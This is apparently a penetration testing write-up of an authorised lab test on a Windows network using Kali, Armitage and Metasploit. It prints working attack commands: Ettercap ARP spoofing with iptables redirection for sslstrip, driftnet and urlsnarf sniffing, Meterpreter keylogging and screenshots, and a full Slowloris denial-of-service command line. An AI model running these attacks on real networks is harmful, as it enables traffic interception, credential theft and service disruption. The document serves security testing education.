Netwerk Guardian LLC is bringing this to you showing what can be done penetration testing with Kali or Backtrack and using Armitage. This is a technical subset of my thesis on Effective Penetration Testing. So without further delay…
Penetration testing with Linux is one of the best ways to perform tests. It is a
versatile tool. Linux comes in many flavors like Backtrack5 RC3 or now Kali. Linux allows for the customization of the software itself plus the tools that you use. Therefore, the customization and level of sophistication is limitless. This article will cover using Backtrack5 RC3 and Armitage for the test as it was executed during the pen test. This article may not cover all features of Armitage. However, in order to provide you a better understanding of Amritage, Kali will be used as well in different screenshots. Note that Armitage is no longer supported under Backtrack with the recent release of Kali in early 2013. We chose to use Kali in this article to show you something recent but the other versions of Linux are still very good tools to use in the field.
Backtrack comes loaded with metasploit and as you know in order to find and run an exploit you have to switch to the directory and run the commands specific to it. This is no longer the case with Kali and the FHS (Filesystem Hierarchy Standard) Kali has taken care of this to make all commands system wide accessible from the command line. Armitage provides a nice GUI interface to Metasploit. It also has a dashboard you can use for setting up the hosts or network you are going to target. You can import hosts from files associated with other network security assessment tools like Nessus, IP360, and Burp session xml. Armitage imports anything from a text or xml file. You can use some of the automation presented with Armitage. In addition, it is wise to use customized these scripts when delivering a penetration test. You never really know what the outcome may be unless you test in a lab first. The great thing about Armitage is that it has a database of known vulnerabilities and attacks in which you can draw from in your test. This helps save time and keep you focused but not all exploits work as targets can be hardened. Customizing scripts and Linux has long been the core of these releases. Armitage can be used as a standalone tool as well as network solution when working with other pen testers. There are a few reporting options that can be used with Backtrack or Kali to save your work and share results or progress. Armitage has its own place to store evidence in data format but not in a report format that would be all inclusive. This is what is called loot where the results go.
Launching Armitage comes from navigating to the Applications menu item and following the terms Kali Linux > Exploitation Tools > Network Exploitation > Armitage (Image 1). In this new installation of Kali, you will have to manually type the following commands in order to get Armitage to connect to the database. They are; service postgresql start and service metasploit start. Once these are entered, you can start Armitage successfully using the install default user name msf and password test.
Next there are a series of prompts that you will be directed to for launching and customizing port usage. Once Armitage is open we can begin using it to scan for hosts or network subnets. Just launch nmap (Image 2) from within Armitage and choose to add a host or scan a network with several scripted choices. The rules are the same for using nmap in Armitage and by itself. There are aggressive scan and quieter scans. So choose wisely in order to remain quiet. The machines we want to target are 10.10.10.5 and 10.10.10.7. One is a server hosting the core business application and the other is a typical user workstation. See image 3 below from the previous run pen test Armitage on Backtrack5 RC3.
Image 2 (Launching nmap within Armitage)
The next step you want to use is the find vulnerabilities scan. This takes Armitage and scans the hosts out there and it comes up with a proposed list of attacks. Now not all and every attack is going to work. It will give a type of technology to exploit. This coupled with your experience and training can then discover that it may or may not be successful. This is where the pen tester needs to be on their best game to find an exploit in which to launch a payload. What is good about Armitage is that each exploit or payload you try opens a new tab. So you can see what works and doesn’t and where to go next.
Now that we have our hosts found, targeted, and with an attack list, we can proceed. Since the machines were Windows based, we quickly went to this exploit to see if there was a way to pwn the boxes. In Armitage you can assign accounts to each host that is used to login and run the payloads. We chose many exploits but found that only one really works and will be addressed later. Below in Image 3 you can see that when a system username and password are known and the Login > psexec is used, the lightning is seen all around it.
Image 3 (Note the lightning around Hosts = pwned)
In the pen test shown here the machines’ administrator accounts were known in a white box test to see if we can sniff traffic from the core business application. The objective is that we are going to imitate an insider threat or demonstrate beyond passing the hash for Windows users in the network.
The following shows what we want to test. This is taken from a lab setup a typical company using earth materials management system. The network is made of Microsoft Windows machines with Windows 7 for end users and Windows Server 2008 R2. The objective is to look for vulnerabilities on the host machines to see if we can capture data on the hosts going across the network to the server for corporate espionage.
1. Test Core Business Application
a. Test core business application against
i. Clear text traffic capturing
ii. Man in the middle (MITM)
iv. Armitage w/Meterpreter
v. DoS Slowloris
Port Scanning Results and Issues
Scanning Windows machines
The first test was scanning of services and ports on Microsoft devices. The test discovered the default Windows system ports open for unsigned SMB, telnet, and high ports. This included the port scanning by Nessus as well as the Microsoft Baseline Analyzer. The results from Nessus showed that there existed an unsigned SMB/Samba port (445) as well as using the open clear text port channel (23). Nessus found only (1) medium and (1) low alert for the server 10.10.10.5. Port (135) on the workstation was found open and that was used for remote procedure protocol. Port (139) was found open and used with SMB for file sharing with other devices beside Microsoft. Port (808) is the Streetsmarts Web based application running encrypted. Port (992) was found to be an SSL port with a certificate error. Additional ports were found open ranging from (49152-49157) and were due from a release from Microsoft in January 2008 to start the open port range at that (49152). Some P2P (peer-to-peer) file sharing has been known to run over these ports.
The possible attack that could have occurred but was not conducted in the test was escalation in privileges via SMB vulnerability and brute forcing usernames and passwords. The attacker also could have social engineered the information from an unsuspecting user. There is a probability that this could have happened.
Armitage has the option for you to ask it what vulnerabilities and attacks could be possible on the chosen target. Just go to the host and select it and then go to the menu Attacks > Find Attacks. It will return a list of possible attacks and say “Happy Hunting!” Therefore, that is exactly what happened.
The following tools were used to test a vulnerability of unencrypted communication on the LAN (Local Area Network) with ettercap always being used for the MITM. They are SSLstrip, Dsniff, Driftnet, Urlsnarf, and meterpreter.
Technical Overview – Sniffing MITM Attacks
Using Ettercap we copied traffic from the user and the gateway to our pent-testing laptop. We used Ettercap with the following in an attempt to see traffic, sslstrip, urlsnarf, dnsiff, and Driftnet with these commands entered. In Ettercap we scanned the subnet and added a target 1 = gateway and target 2 = the victim machine. Here we were able to get a copy of everything being sent by the user to the laptop (attacker) first before going to the real gateway. This is done with sslstrip, iptables, ettercap with MITM attack arp spoofing. It is very important that in a test where you are trying to conceal what you are doing from detection that you must ensure you laptop is able to handle the traffic. You must be ready to execute the sequence of commands in order to avoid seeing packets destined to the same IP address twice.
Each attack and tool used has its benefits and limitations. The idea was to see data going across for corporate espionage and send to a competitor for money. The tools researched and chosen for this pen test to see what would really come across the wire. The following is a brief overview of each tool.
SSLstrip – Is a tool that prohibits a connection from upgrading to an SSL session in an unnoticeable way. Also the history behind this is that one could forge a certificate as being signed and trusted in order to appear as an https session or that the session was legitimate with the intended server that actually ended up being the attacker (Wikipedia).
Dsniff – A tool used to sniff anything of interest like email or passwords. Arp spoof has to be running of course so that the traffic is routed through the attacker PC and back out to the real router and PC (Wikipedia).
Driftnet – This tool allows you to see what images are going across the user’s browser while surfing the web. In this test users were not on the internet but were using a browser to launch an application which we wanted to see.
Urlsnarf – A tool that places all visited url output to file for easy reviewing. Not a tool that provides much advantage in this pen test.
Meterpreter – This tool can be used to take advantage of many vulnerabilities in different platforms in order to gain root access or control of a PC.
In the following presentation of code we see that numerous attempts utilizing ettercap and arp spoofing was done to send traffic to the attacker. Each tool was run alongside ettercap to see what information would actually pass to the attacker. The most exciting tools were Driftnet and meterpreter because of what could be seen and the control.
ettercap –mitm ARP:REMOTE –text –quiet –write /root/sslstrip/ettercap.log –iface eth0
Also the GUI was used to pick target client Windows 7 machine 10.10.10.7 and second target the application server 10.10.10.5.
Execute the following commands
In the CLI we entered:
root@bt:/# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:# sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
Now verify it took the filter
root@bt:~# iptables -L -t nat
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp — anywhere anywhere tcp dpt:www redir ports 10000
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
root@bt:# sudo python sslstrip.py -l 1000 -f lock.ico
Results sslstrip: No data or text of any sort was visible, since all data was being passed through an encrypted channel.
Results with dsniff: Web addresses were visible, but no usernames or passwords. These results show that the application is very secure.
Results with driftnet: There were no pictures or images of the site going across. There were web addresses being listed.
Results with urlsnarf: The only thing that came through here was some local address space and some internet address space redacted for publication. Still there were no real gems of information for quick gains.
root@bt:~# urlsnarf -n -i eth0
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
10.10.10.7 – – [15/Jan/2013:23:10:12 -0500] “GET http://www.google.com/ HTTP/1.1” – – “-” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
10.10.10.7 – – [15/Jan/2013:23:10:13 -0500] “GET
10.10.10.7 – – [15/Jan/2013:23:11:17 -0500] “GET http://www.mwsystems.com/servlet/servlet.FileDownload?file=01540000000nqRS HTTP/1.1” – – “http://10.10.10.5/” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
10.10.10.7 – – [15/Jan/2013:23:11:17 -0500] “GET http://www.mwsystems.com/servlet/servlet.FileDownload?file=01540000000nr9Z HTTP/1.1” – – “http://10.10.10.5/” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
10.10.10.7 – – [15/Jan/2013:23:11:17 -0500] “GET http://www.mwsystems.com/servlet/servlet.FileDownload?file=01540000000nr9K HTTP/1.1” – – “http://10.10.10.5/” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
10.10.10.7 – – [15/Jan/2013:23:11:17 -0500] “GET http://www.mwsystems.com/servlet/servlet.FileDownload?file=01540000000nr9A HTTP/1.1” – – “http://10.10.10.5/” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
10.10.10.7 – – [15/Jan/2013:23:11:17 -0500] “GET http://www.mwsystems.com/servlet/servlet.FileDownload?file=01540000000nroD HTTP/1.1” – – “http://10.10.10.5/” “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)”
Executed commands (example):
root@bt:/# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:/#cat /proc/sys/net/ipv4/ip_forward 1
In another terminal, we used Driftnet
root@bt:/# driftnet -i eth0
root@bt:/# driftnet -i eth0 -v -s (in an attempt to gain audio being streamed)
We could then see what the user was looking at for images.
Results: Images from core business application were not being sent to our laptop despite driftnet running
root@bt:~# driftnet -i eth0 -v
driftnet: using temporary file directory /tmp/driftnet-AmaowM
driftnet: listening on eth0 in promiscuous mode
driftnet: using filter expression `tcp’
driftnet: started display child, pid 2562
driftnet: link-level header length is 14 bytes
.driftnet: new connection: 10.10.10.7:49363 -> 18.104.22.168:80
…driftnet: new connection: 10.10.10.7:49365 -> 22.214.171.124:80
…driftnet: new connection: 10.10.10.7:49364 -> 126.96.36.199:80
…driftnet: new connection: 10.10.10.7:49368 -> 188.8.131.52:80
Meterpreter – Meterpreter used in with Armitage a connection made it impossible to glean any data or provide a way to leak data out; Meterpreter was used in this test. Knowing the administrator password, the connection was possible. Even a regular user with a known password would be able to both pass the hash dump and crack passwords later in order to attempt to escalate privileges. Time being the factor is how successful the cracker would be by going slow and password cracking.
Results: We were able to log keystrokes and take screen shots of the user’s computer. This is one way data could be captured. In this test, we show that key logging and screen captures are possible; however, they are not very effective as shown below, Image 7. Anything that was operating on the application level of the OSI model remained visible and the tool worked. When things went encrypted at the network level it was impossible to see.
Image 4 – Armitage Text Output of Key logging
Image 5 – Email Credentials Entered
Image 6 Screenshot Before Launching Encrypted Application
Image 7 – After Launching Encrypted Application
We have seen before that the desktop can be captured with screen shots and information could be leaked this way. However, notice in the image below that the application icon is present as a big ‘S’ in the toolbar, and on the workstation it is in the foreground. However, the image reveals that it is not seen and therefore encrypted to the reverse tcp shell. That ‘S’ represents the business’s core business application. The launch html page is the only visible part of the application, which is done on port 80. This demonstrates that the application running on the computer was able to encrypt all activity for queries, results, and navigation.
DoS – Slowloris Python Script
Now we get to some fun. Besides trying to sniff traffic and look at client proprietary data, we can also try to make their systems unavailable to them for this test. Remember that an unavailable system is loss of income or a serious impact that can make generating income and staying operational difficult to do. The script that we will use is a python script called slowloris. This script can be found at http://ha.ckers.org/slowloris/. There is a script for IPv6 as well. This script is unique in that it does not try to hammer the web server right away with a full load of requests but that it comes in waves. There is a setting in the script for the number of connections per second and the frequency of those connections. These two fields were used against the server. The server was a Windows Server 2008 R2 (fresh install and no updates).
In order to start the script after you have downloaded it to your pen test PC is by As with any test you start with what is supposed to work and then review the results and make changes. The changes we made were simple as each time slowloris runs it makes a whole bunch of half requests to the web server. The requests never get finished and the web server is just sitting there with a session consumed waiting for the user to resume communication. This weakness is known for some Apache servers but not on IIS 7.0. At the time of this test it was unknown but thought it would be fun to try. Also check to make sure that you have Perl installed perl –v as most Linux instances do.
We modified the script to change the number of connections and then we lowered the timeout period for waiting to start that new connection. As the script ran we would notice the CPU on the server would spike to 78% and then 100% and then go down again as the script had entered its wait interval. Then it would run again and we would see similar results on the CPU. Now as far as hacking goes if you do not get the results you want just keep trying. So we stopped the script and change the connection per second to the maximum it would take 10,000 per second and again tested. After the second run the Server 2008 R2 would just take a hit but continue to serve out the web page. Unfortunately for the pen tester there was no break in service. Fortunately, for the company running the software they stayed operational. As a side note for non-Linux tool we used the Low orbit Ion Cannon multiple times on the server in addition to slowloris and still the web site was up.
The following commands will result in the same activity as we tested earlier in 2013. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 10000 –https
In conclusion, we see that Linux offers a wide variety of attack tools that can be run independently or a part of a package like Armitage, Kali, Ubuntu, and of course the metasploit framework. This gives penetration testers the tools they need to perform tests against vulnerabilities by testing the exploits with different payloads. Some Windows based tools that can be used have gained notoriety but still Linux is a preferred platform. What is great about Linux and the open source community is that there are a lot of people contributing to its success. That is something that will carry the distributions forward as time and technology change.